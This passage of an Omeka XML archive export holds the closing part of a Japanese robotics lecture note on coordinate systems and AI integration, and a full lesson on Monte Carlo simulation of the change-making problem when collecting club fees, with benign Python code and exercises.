&lt;li&gt;&lt;strong&gt;異常スコア&lt;/strong&gt;: 正常パターンからの逸脱度の定量化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;予測保守&lt;/strong&gt;: 故障の事前予測による予防保全&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;例&lt;/strong&gt;: モータ異常の検出、センサ故障の予測、システム状態監視&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;6.3.3 AI統合の実装例&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;ROSとAIの統合&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TensorFlow ROS&lt;/strong&gt;: TensorFlowモデルのROSノード化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PyTorch ROS&lt;/strong&gt;: PyTorchモデルのリアルタイム実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenCV ROS&lt;/strong&gt;: 画像処理とAIの統合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gazebo AI&lt;/strong&gt;: シミュレーション環境でのAI学習&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;エッジAI&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Jetson Nano&lt;/strong&gt;: NVIDIAの組み込みAIコンピュータ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Intel NCS&lt;/strong&gt;: ニューラルコンピュートスティック&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Coral&lt;/strong&gt;: Edge TPU搭載のAI推論デバイス&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Raspberry Pi AI&lt;/strong&gt;: 小型ボードでのAI実行&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;クラウドAI&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AWS RoboMaker&lt;/strong&gt;: クラウドベースのロボット開発環境&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Azure IoT&lt;/strong&gt;: MicrosoftのIoT・AI統合プラットフォーム&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Cloud AI&lt;/strong&gt;: 機械学習サービスのクラウド提供&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分散学習&lt;/strong&gt;: 複数ロボットでの協調学習&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. まとめ&lt;/h2&gt;
&lt;p&gt;本資料では、ロボットの座標系と関節制御について以下の内容を整理した：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ロボット制御の歴史&lt;/strong&gt;: 古代のからくり人形から現代のコンピュータ制御への発展&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;関節の種類&lt;/strong&gt;: 回転関節（R）と直動関節（P）の特徴と表記法&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;座標系の種類&lt;/strong&gt;: 直交座標系、極座標系、円筒座標系、多関節型、スカラ型&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;座標変換&lt;/strong&gt;: 数学的変換式とプログラミングでの実装方法&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自由度&lt;/strong&gt;: 6自由度の概念とその応用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;実装時の注意点&lt;/strong&gt;: 数値誤差、関節制限、特異点への対策&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;現代技術&lt;/strong&gt;: ROS、リアルタイム制御、AI統合&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これらの知識は、ロボットの設計、制御、プログラミングにおいて重要な基礎となる。&lt;/p&gt;
&lt;h2&gt;8. 参考文献・参考資料&lt;/h2&gt;
&lt;h3&gt;8.1 書籍&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Craig, J.J.&lt;/strong&gt; "Introduction to Robotics: Mechanics and Control" (4th Edition)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Siciliano, B. et al.&lt;/strong&gt; "Robotics: Modelling, Planning and Control"&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spong, M.W. et al.&lt;/strong&gt; "Robot Modeling and Control"&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8.2 オンラインリソース&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ROS Wiki&lt;/strong&gt;: https://wiki.ros.org/&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MoveIt Documentation&lt;/strong&gt;: https://moveit.ros.org/&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gazebo Simulator&lt;/strong&gt;: http://gazebosim.org/&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;8.3 学習目標の確認&lt;/h3&gt;
&lt;p&gt;この資料を学習した後、以下のことができるようになることを目標とする：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ロボットの関節タイプを分類できる&lt;/li&gt;
&lt;li&gt;座標系間の変換を計算できる&lt;/li&gt;
&lt;li&gt;適切な座標系を選択できる&lt;/li&gt;
&lt;li&gt;ロボットの自由度を理解できる&lt;/li&gt;
&lt;li&gt;実装時の注意点を考慮できる&lt;/li&gt;
&lt;li&gt;現代のロボット制御技術を理解できる&lt;/li&gt;
&lt;/ul&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1846">
                <text>ロボット工学６</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1847">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="40">
            <name>Date</name>
            <description>A point or period of time associated with an event in the lifecycle of the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1848">
                <text>2025-10-27</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1849">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="109" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1845">
              <text>&lt;h1&gt;つり銭問題のシミュレーション&lt;/h1&gt;
&lt;h2&gt;学習目標&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;シミュレーション手法の理解と実践&lt;/li&gt;
&lt;li&gt;確率論的思考の習得&lt;/li&gt;
&lt;li&gt;実問題の数学的モデル化&lt;/li&gt;
&lt;li&gt;統計的分析手法の応用&lt;/li&gt;
&lt;li&gt;プログラミングによる数値計算&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;前提知識&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;基本的な確率の概念&lt;/li&gt;
&lt;li&gt;Pythonプログラミングの基礎&lt;/li&gt;
&lt;li&gt;統計の基本概念（平均、分散、分布）&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;問題設定&lt;/h2&gt;
&lt;h3&gt;変数の定義&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;x&lt;/strong&gt;: ある時点での1000円札の枚数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;y&lt;/strong&gt;: お釣りの必要枚数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;n&lt;/strong&gt;: メンバー数（15人）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;支払いパターン&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1000円札3枚で支払い&lt;/strong&gt;: x → x + 3&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;10000円札1枚で支払い&lt;/strong&gt;: x → x - 7（お釣りとして1000円札7枚必要）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;確率&lt;/strong&gt;: 各パターン50%の確率&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;お釣り必要枚数の計算&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;y = 0&lt;/strong&gt; (min x ≥ 0): 最小値が0以上の場合、お釣りの準備は不要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;y = |min x|&lt;/strong&gt; (min x &amp;lt; 0): 最小値がマイナスの場合、マイナス分だけ必要&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;シミュレーションの流れ&lt;/h2&gt;
&lt;h3&gt;フローチャート&lt;/h3&gt;
&lt;pre&gt;開始
  ↓
x = 0, min_x = 0
  ↓
部員i (i=1 to 15)
  ↓
ランダム選択 (50%確率)
  ↓
┌─────────────────┬─────────────────┐
│ 1000円札3枚     │ 10000円札1枚    │
│ x = x + 3       │ x = x - 7       │
└─────────────────┴─────────────────┘
  ↓
min_x = min(min_x, x)
  ↓
i &amp;lt; 15? → Yes → 次の部員
  ↓ No
y = max(0, -min_x)
  ↓
結果を記録
  ↓
終了
    &lt;/pre&gt;
&lt;h3&gt;ステップ詳細&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;初期化&lt;/strong&gt;: お釣りの枚数をx=0で初期化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支払い決定&lt;/strong&gt;: 50%の確率で1000円札3枚か10000円札1枚を決定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;状態更新&lt;/strong&gt;: 支払い方法に応じてxを更新：
&lt;ul&gt;
&lt;li&gt;1000円札3枚: x → x + 3&lt;/li&gt;
&lt;li&gt;10000円札1枚: x → x - 7&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小値記録&lt;/strong&gt;: min_x = min(min_x, x)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;繰り返し&lt;/strong&gt;: 15回繰り返す&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;結果計算&lt;/strong&gt;: xの最小値から必要なお釣りの枚数を決定&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Python実装例&lt;/h2&gt;
&lt;h3&gt;実行方法&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Pythonがインストールされていることを確認&lt;/li&gt;
&lt;li&gt;以下のコードをtsurisen.pyとして保存&lt;/li&gt;
&lt;li&gt;コマンドプロンプトでpython tsurisen.pyを実行&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;import random

def tsurisen_simulation(trials=10000):
    """
    つり銭問題のシミュレーション
    
    Args:
        trials (int): シミュレーション回数（デフォルト: 10000回）
    """
    MEMBER_N = 15  # 部員数
    result = []    # 結果を格納するリスト
    
    # 指定回数だけシミュレーションを実行
    for _ in range(trials):
        x = 0      # お釣りとして持っている1000円札の枚数
        min_x = 0  # xの最小値を記録
        
        # 15人の部員が順番に支払う
        for _ in range(MEMBER_N):
            if random.random() &amp;lt; 0.5:
                # 50%の確率で1000円札3枚で支払う
                x += 3
            else:
                # 50%の確率で10000円札1枚で支払う
                x -= 7
            # 現在のxの最小値を更新
            min_x = min(min_x, x)
        
        # 必要なお釣り枚数を計算
        # min_x が 0以上ならお釣り不要, 0未満ならその絶対値だけ必要
        y = 0 if min_x &amp;gt;= 0 else abs(min_x)
        result.append(y)
    
    # 結果を表示
    print("=== つり銭問題シミュレーション結果 ===")
    print(f"シミュレーション回数: {trials:,}回")
    print(f"必要なお釣りの枚数の平均: {sum(result)/len(result):.2f}枚")
    print(f"最小必要お釣り枚数: {min(result)}枚")
    print(f"最大必要お釣り枚数: {max(result)}枚")
    print(f"お釣り不要（0枚）の確率: {result.count(0)/len(result)*100:.1f}%")
    
    # 分布を表示
    from collections import Counter
    distribution = Counter(result)
    print("\n=== お釣り枚数の分布 ===")
    for count in sorted(distribution.keys()):
        print(f"{count}枚: {distribution[count]:,}回 ({distribution[count]/len(result)*100:.1f}%)")

if __name__ == "__main__":
    tsurisen_simulation()&lt;/pre&gt;
&lt;h3&gt;実装の説明&lt;/h3&gt;
&lt;p&gt;このコードは、部員15人がランダムに1000円札3枚または10000円札1枚で会費を払う場合について1万回試行し、必要な1000円札のお釣り枚数が最小で何枚必要かを統計的に調べます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;出力される統計情報:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;必要なお釣りの枚数の平均値&lt;/li&gt;
&lt;li&gt;最小必要お釣り枚数（最頻値）&lt;/li&gt;
&lt;li&gt;最大必要お釣り枚数&lt;/li&gt;
&lt;li&gt;お釣り不要（0枚）の確率&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;実用的な対策とアドバイス&lt;/h2&gt;
&lt;h3&gt;幹事向けの準備指針&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;事前準備&lt;/strong&gt;: 平均的な必要枚数分の1000円札を用意&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;リスク管理&lt;/strong&gt;: 最大必要枚数分の余裕を持って準備&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;効率的な集金方法&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;事前に支払い方法を確認&lt;/li&gt;
&lt;li&gt;小額紙幣での支払いを推奨&lt;/li&gt;
&lt;li&gt;電子マネー併用を検討&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;シミュレーション結果の活用&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;確率的な準備&lt;/strong&gt;: 95%の確率でカバーできる枚数を計算&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コスト分析&lt;/strong&gt;: お釣り準備のコストとリスクのバランス&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代替案の検討&lt;/strong&gt;: 支払い方法の変更による効果測定&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;モデル化の確認&lt;/h2&gt;
&lt;h3&gt;1. モデル化の目的を明らかにする&lt;/h3&gt;
&lt;h4&gt;対象の選択&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;シミュレーション対象&lt;/strong&gt;: 部の会費を集める際のつり銭問題&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;目的の決定&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;: 必要なつり銭の枚数を調べる&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. モデルの構造を決定する&lt;/h3&gt;
&lt;h4&gt;現実問題の抽象化&lt;/h4&gt;
&lt;p&gt;必要な構造情報：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;会費の支払い方法&lt;/li&gt;
&lt;li&gt;お釣りの支払い方法&lt;/li&gt;
&lt;li&gt;お釣りの枚数&lt;/li&gt;
&lt;li&gt;お札や小銭の種類&lt;/li&gt;
&lt;li&gt;サークルの人数&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 分析手法の選択&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;プログラム（Python）&lt;/li&gt;
&lt;li&gt;Excel&lt;/li&gt;
&lt;li&gt;専用アプリ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. 仮定・条件の設定&lt;/h3&gt;
&lt;h4&gt;シミュレーション条件&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;部員数&lt;/strong&gt;: 15人&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支払い方法&lt;/strong&gt;: 一人ずつ幹事に支払う&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;支払いパターン&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;1000円札3枚で支払う&lt;/li&gt;
&lt;li&gt;10000円札1枚で支払う&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;お釣り&lt;/strong&gt;: 10000円札で支払われた場合、1000円札7枚をお釣りとして支払う&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;5. モデルの数式表現&lt;/h3&gt;
&lt;h4&gt;数学的モデル&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;状態変数&lt;/strong&gt;: x&lt;sub&gt;t&lt;/sub&gt; = 時点tでの1000円札の枚数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;確率変数&lt;/strong&gt;: Z&lt;sub&gt;i&lt;/sub&gt; = 部員iの支払い方法
&lt;ul&gt;
&lt;li&gt;P(Z&lt;sub&gt;i&lt;/sub&gt; = 1) = 0.5 (1000円札3枚)&lt;/li&gt;
&lt;li&gt;P(Z&lt;sub&gt;i&lt;/sub&gt; = -1) = 0.5 (10000円札1枚)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;状態遷移式&lt;/h4&gt;
&lt;p&gt;x&lt;sub&gt;t+1&lt;/sub&gt; = x&lt;sub&gt;t&lt;/sub&gt; + 3Z&lt;sub&gt;i&lt;/sub&gt; if Z&lt;sub&gt;i&lt;/sub&gt; = 1&lt;/p&gt;
&lt;p&gt;x&lt;sub&gt;t+1&lt;/sub&gt; = x&lt;sub&gt;t&lt;/sub&gt; - 7 if Z&lt;sub&gt;i&lt;/sub&gt; = -1&lt;/p&gt;
&lt;h4&gt;目的関数&lt;/h4&gt;
&lt;p&gt;y = max(0, -min&lt;sub&gt;t=1&lt;/sub&gt;&lt;sup&gt;15&lt;/sup&gt; x&lt;sub&gt;t&lt;/sub&gt;)&lt;/p&gt;
&lt;h4&gt;期待値の計算&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;1000円札3枚の期待増加&lt;/strong&gt;: 3 × 0.5 = 1.5枚&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;10000円札1枚の期待減少&lt;/strong&gt;: -7 × 0.5 = -3.5枚&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1人あたりの期待変化&lt;/strong&gt;: 1.5 - 3.5 = -2枚&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;15人全体の期待変化&lt;/strong&gt;: -2 × 15 = -30枚&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;理論的考察&lt;/h4&gt;
&lt;p&gt;この問題は&lt;strong&gt;ランダムウォーク&lt;/strong&gt;の一種で、負の値に到達する確率を求める問題として定式化できます。&lt;/p&gt;
&lt;h2&gt;高度な分析と検証&lt;/h2&gt;
&lt;h3&gt;統計的検証&lt;/h3&gt;
&lt;pre&gt;import numpy as np
from scipy import stats
import matplotlib.pyplot as plt

def advanced_analysis():
    """高度な統計分析"""
    # シミュレーション実行
    results = []
    for _ in range(100000):
        x, min_x = 0, 0
        for _ in range(15):
            if np.random.random() &amp;lt; 0.5:
                x += 3
            else:
                x -= 7
            min_x = min(min_x, x)
        results.append(0 if min_x &amp;gt;= 0 else abs(min_x))
    
    # 統計量の計算
    mean_val = np.mean(results)
    std_val = np.std(results)
    median_val = np.median(results)
    
    # 信頼区間の計算
    confidence_interval = stats.norm.interval(0.95, loc=mean_val, scale=std_val/np.sqrt(len(results)))
    
    print(f"平均: {mean_val:.3f}")
    print(f"標準偏差: {std_val:.3f}")
    print(f"中央値: {median_val:.3f}")
    print(f"95%信頼区間: [{confidence_interval[0]:.3f}, {confidence_interval[1]:.3f}]")
    
    # 分布の可視化
    plt.hist(results, bins=20, alpha=0.7, density=True)
    plt.xlabel('必要なお釣り枚数')
    plt.ylabel('確率密度')
    plt.title('つり銭必要枚数の分布')
    plt.show()

if __name__ == "__main__":
    advanced_analysis()&lt;/pre&gt;
&lt;h3&gt;感度分析&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;部員数の影響&lt;/strong&gt;: 10人、15人、20人での比較&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;確率の影響&lt;/strong&gt;: 支払い方法の確率を変更した場合の効果&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;会費額の影響&lt;/strong&gt;: 異なる会費額でのシミュレーション&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;最適化問題としての定式化&lt;/h3&gt;
&lt;p&gt;min 準備する1000円札の枚数&lt;/p&gt;
&lt;p&gt;s.t. P(お釣り不足) ≤ α&lt;/p&gt;
&lt;h2&gt;演習問題と実践課題&lt;/h2&gt;
&lt;h3&gt;基礎演習&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;手計算による小規模シミュレーション&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;部員数5人で手計算でシミュレーション&lt;/li&gt;
&lt;li&gt;支払いパターン: 1000円札3枚 vs 10000円札1枚&lt;/li&gt;
&lt;li&gt;各パターンの確率を計算&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パラメータ変更実験&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;部員数を10人、20人に変更して結果を比較&lt;/li&gt;
&lt;li&gt;支払い確率を30%:70%に変更して効果を確認&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;応用課題&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;現実的な条件でのシミュレーション&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;会費額を5000円に変更&lt;/li&gt;
&lt;li&gt;支払い方法を3種類に拡張（1000円札5枚、5000円札1枚、10000円札1枚）&lt;/li&gt;
&lt;li&gt;確率分布を非対称にする&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コスト最適化問題&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;お釣り準備のコストを考慮&lt;/li&gt;
&lt;li&gt;不足時のペナルティコストを設定&lt;/li&gt;
&lt;li&gt;最適な準備枚数を数値的に求める&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;高度な課題&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;動的シミュレーション&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;部員が順番に来る時間間隔をランダム化&lt;/li&gt;
&lt;li&gt;リアルタイムでのお釣り管理&lt;/li&gt;
&lt;li&gt;銀行への換金回数も考慮&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多目的最適化&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;コスト最小化とリスク最小化のトレードオフ&lt;/li&gt;
&lt;li&gt;パレート最適解の探索&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;モデルの限界と批判的考察&lt;/h2&gt;
&lt;h3&gt;現実との乖離点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;理想化された仮定&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;支払い方法が2種類のみ（現実は多様）&lt;/li&gt;
&lt;li&gt;確率が固定（個人差を無視）&lt;/li&gt;
&lt;li&gt;支払い順序がランダム（実際はパターンがある）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;考慮されていない要因&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;部員の支払い能力の違い&lt;/li&gt;
&lt;li&gt;季節性やイベントの影響&lt;/li&gt;
&lt;li&gt;電子マネーやクレジットカードの普及&lt;/li&gt;
&lt;li&gt;銀行の営業時間制約&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;統計的仮定の問題&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;独立性の仮定（部員間の影響を無視）&lt;/li&gt;
&lt;li&gt;正規分布の仮定（実際の分布は不明）&lt;/li&gt;
&lt;li&gt;大数の法則の適用限界&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;モデル改善の方向性&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;より現実的な確率分布&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;ベータ分布やポアソン分布の使用&lt;/li&gt;
&lt;li&gt;個人差を考慮した混合分布&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;動的要素の導入&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;時間経過による確率変化&lt;/li&gt;
&lt;li&gt;学習効果や慣れの影響&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多変量分析&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;部員の属性（年齢、収入）との相関&lt;/li&gt;
&lt;li&gt;外部要因（経済状況、イベント）の影響&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;検証方法の限界&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;シミュレーション回数の妥当性&lt;/li&gt;
&lt;li&gt;初期条件の敏感性&lt;/li&gt;
&lt;li&gt;パラメータ推定の不確実性&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;国際的視点と応用&lt;/h2&gt;
&lt;h3&gt;多国通貨での応用&lt;/h3&gt;
&lt;p&gt;この問題は各国の通貨制度に応用可能です：&lt;/p&gt;
&lt;h4&gt;アメリカ（USD）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;会費: $30&lt;/li&gt;
&lt;li&gt;支払い方法: $1札30枚 vs $50札1枚&lt;/li&gt;
&lt;li&gt;お釣り: $50札で支払い時、$1札20枚が必要&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;ヨーロッパ（EUR）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;会費: €25&lt;/li&gt;
&lt;li&gt;支払い方法: €5札5枚 vs €50札1枚&lt;/li&gt;
&lt;li&gt;お釣り: €50札で支払い時、€5札5枚が必要&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;文化的要因の考慮&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;支払い習慣の違い&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;日本: 現金重視&lt;/li&gt;
&lt;li&gt;北欧: 電子決済普及&lt;/li&gt;
&lt;li&gt;発展途上国: 小額紙幣多用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;社会的要因&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;年齢層による支払い方法の違い&lt;/li&gt;
&lt;li&gt;経済状況による影響&lt;/li&gt;
&lt;li&gt;教育レベルとの相関&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;英語版サマリー&lt;/h3&gt;
&lt;h4&gt;English Summary&lt;/h4&gt;
&lt;pre&gt;"""
Change Management Simulation

Problem: Determine optimal amount of small bills to prepare
for collecting membership fees from 15 members.

Payment Methods:
- 3 × 1000-yen bills (increases small bills by 3)
- 1 × 10000-yen bill (requires 7 small bills as change)

Objective: Minimize preparation while avoiding shortage
"""&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1841">
                <text>シミュレーション工学５</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1842">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1843">
                <text>2025-10-24</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1844">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
